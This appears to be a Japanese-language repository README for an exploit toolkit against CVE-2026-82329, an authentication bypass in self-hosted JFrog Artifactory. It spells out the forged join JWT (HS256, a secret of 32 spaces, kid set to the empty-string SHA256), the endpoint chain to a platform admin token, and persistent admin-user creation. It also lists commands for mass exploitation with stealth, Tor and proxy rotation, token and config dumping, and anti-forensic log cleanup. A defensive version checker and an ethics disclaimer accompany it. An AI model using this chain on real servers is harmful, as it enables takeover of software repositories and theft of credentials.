
CVE-2026-82329(JFrog Artifactory の認証バイパス)向けのエクスプロイトおよび検出ツールキット。join JWT を偽造して管理者トークンを発行する。非侵入型のバージョンチェッカーを含む。

倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみにツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA(米国)、Computer Misuse Act(英国)、TCK 243/244(トルコ)、および世界中の同様の法律の下で違法です。
CVE‑2026‑82329 は、セルフホスト型 JFrog Artifactory(バージョン 7.111.x から 7.161.x)における重大な認証バイパス脆弱性であり、未認証の攻撃者が JFrog Access クラスタ参加メカニズムを悪用して完全なプラットフォーム管理者トークンを取得できるようにします。
32 * 0x20(スペース)です。kid = SHA256("") で署名された HS256 JWT を偽造します。POST /access/api/v1/registry/join は、認証なしで scp=admin を持つ SERVICE トークンを返します。scope=applied-permissions/admin&audience=* を指定した POST /access/api/v1/tokens により、完全なプラットフォーム管理者トークンが得られます。| ツール | 目的 | 対象ユーザー |
|---|---|---|
exploit.py | JWT 偽造、管理者トークン交換、管理者ユーザー作成、大量スキャン、ステルスモード、プロキシローテーション、インタラクティブメニュー、完全な攻撃チェーンを備えた完全な武器化ツールキット。 | レッドチーム / 許可されたペンテスター |
safechecker.py | 非侵入型の脆弱性チェッカー。トークンを取得したりペイロードを実行したりすることなく、Artifactory のバージョンを検出し、露出を検証し、リスクを評価します。JSON レポートを生成します。 |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py のパラメータsafechecker.py のパラメータこのエクスプロイトは、以下の JFrog エンドポイントと悪用手順を使用します:
# 偽造参加 JWT 構造
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# 署名シークレット
secret = b"\x20" * 32
# 管理者トークンリクエスト
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
このソフトウェアは、教育目的および許可されたセキュリティテストのみに提供されています。
| ブルーチーム / セキュリティ監査人 |
| 機能 | exploit.py | safechecker.py |
|---|
| 脆弱性検出 | ✅ | ✅ |
| バージョン検出 | ✅ | ✅ |
| 偽造参加 JWT | ✅ | ❌ |
| サービストークン発行 | ✅ | ❌ |
| 管理者トークン交換 | ✅ | ❌ |
| 管理者ユーザー作成 | ✅ | ❌ |
| リポジトリ一覧 | ✅ | ❌ |
| ユーザー一覧 | ✅ | ❌ |
| 設定のダンプ | ✅ | ❌ |
| トークンのダンプ | ✅ | ❌ |
| 完全な攻撃チェーン | ✅ | ❌ |
| インタラクティブメニュー | ✅ | ❌ |
| 大量スキャン(マルチスレッド) | ✅ | ✅ |
| プロキシサポート | ✅ | ✅ |
| プロキシローテーション | ✅ | ❌ |
| Tor サポート(匿名性) | ✅ | ❌ |
| User‑Agent ローテーション(OPSEC) | ✅ | ❌ |
| ジッター(OPSEC) | ✅ | ❌ |
| 適応型レートリミッター | ✅ | ❌ |
| 非侵入型(安全)モード | ❌ | ✅ |
| バージョンレポート | ✅ | ✅ |
| 匿名アクセスチェック | ❌ | ✅ |
| JSON レポート | ✅ | ✅ |
| ログクリーンアップ(アンチフォレンジック) | ✅ | ❌ |
| カスタム User‑Agent | ✅ | ✅ |
| SSL 検証制御 | ✅ | ✅ |
| シナリオ | 推奨ツール |
|---|
| ブルーチーム – Artifactory が脆弱かどうかの確認 | safechecker.py |
| セキュリティ監査 – 非侵入型の脆弱性評価 | safechecker.py |
| レッドチーム – 完全な悪用を伴う許可されたペネトレーションテスト | exploit.py |
| バグバウンティ – 責任ある開示テスト | safechecker.py |
| 大量スキャン – 複数のターゲットの脆弱性チェック | exploit.py(検出のみ) |
| インシデント対応 – システムが侵害されているかどうかの確認 | safechecker.py |
| パラメータ | 説明 |
|---|
-u, --url | 単一ターゲットの Artifactory URL(例: http://artifactory.example.com:8082) |
-f, --file | 大量スキャン用のターゲットリストを含むファイル(1 行に 1 つ) |
--create-admin | 永続的な管理者ユーザーを作成(形式: USER:PASS) |
--keep-admin | 作成した管理者ユーザーを保持(スキャン後にクリーンアップしない) |
--token-only | 管理者トークンのみを出力(単一ターゲット) |
--interactive | 悪用後のインタラクティブメニュー |
--service-id | 参加 JWT のサービス ID(デフォルト: jfrt@01) |
-t, --threads | マルチターゲット用のスレッド数(デフォルト: 10) |
--timeout | リクエストタイムアウト(デフォルト: 25 秒) |
--retry | 最大リトライ回数(デフォルト: 3) |
--proxy | HTTP/HTTPS プロキシ(例: http://127.0.0.1:8080) |
--proxy-list | ローテーション用のプロキシを含むファイル(1 行に 1 つ) |
--jitter | リクエスト間のランダムジッター(0~2 秒) |
--stealth | ステルスモードを有効化(UA ローテーション + X‑Forwarded‑For) |
--curl-cffi | TLS フィンガープリント偽装のために curl_cffi を使用 |
--full | 完全な攻撃: すべてのモジュール |
--dump-config | システム設定をダンプ |
--dump-tokens | すべてのアクセストークンをダンプ |
--list-repos | リポジトリを一覧表示 |
--list-users | ユーザーを一覧表示 |
--detect | 検出のみ(管理者トークン交換なし) |
--exploit | 完全な悪用を実行 |
-o, --output | JSON レポートをファイルに保存 |
-v, --verbose | 詳細出力 |
-q, --quiet | サイレントモード |
| パラメータ | 説明 |
|---|
-u, --url | 単一ターゲットの Artifactory URL(例: http://artifactory.example.com:8082) |
-f, --file | ターゲットリストを含むファイル(1 行に 1 つ) |
-t, --threads | マルチターゲット用のスレッド数(デフォルト: 5) |
--timeout | リクエストタイムアウト(デフォルト: 10 秒) |
-v, --verbose | 詳細出力 |
-o, --output | JSON レポートをファイルに保存 |
| # | シナリオ | コマンド |
|---|
| 1 | 簡易脆弱性チェック | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | レポート付き詳細スキャン | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | ファイルからの大量監査 | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | 検出のみの悪用 | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | 管理者トークンのみを取得 | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | インタラクティブメニュー付き完全攻撃 | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | 永続的な管理者ユーザーを作成 | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | 設定のダンプ | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | リポジトリとユーザーの一覧 | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | ステルス付き大量悪用 | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Tor によるプロキシローテーション | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
| ステップ | メソッド | エンドポイント | 説明 |
|---|
| 1. 参加 | POST | /access/api/v1/registry/join | 偽造 HS256 JWT → SERVICE トークン(scp=admin) |
| 2. 交換 | POST | /access/api/v1/tokens | SERVICE トークン → プラットフォーム管理者トークン |
| 3. 証明 | GET | /artifactory/api/system/configuration | 管理者のみのアクセス証明 |
| 4. 永続化 | PUT | /artifactory/api/security/users/{user} | 永続的な管理者ユーザーを作成 |
| 5. 失効 | DELETE | /access/api/v1/tokens/{id} | 作成したトークンをクリーンアップ |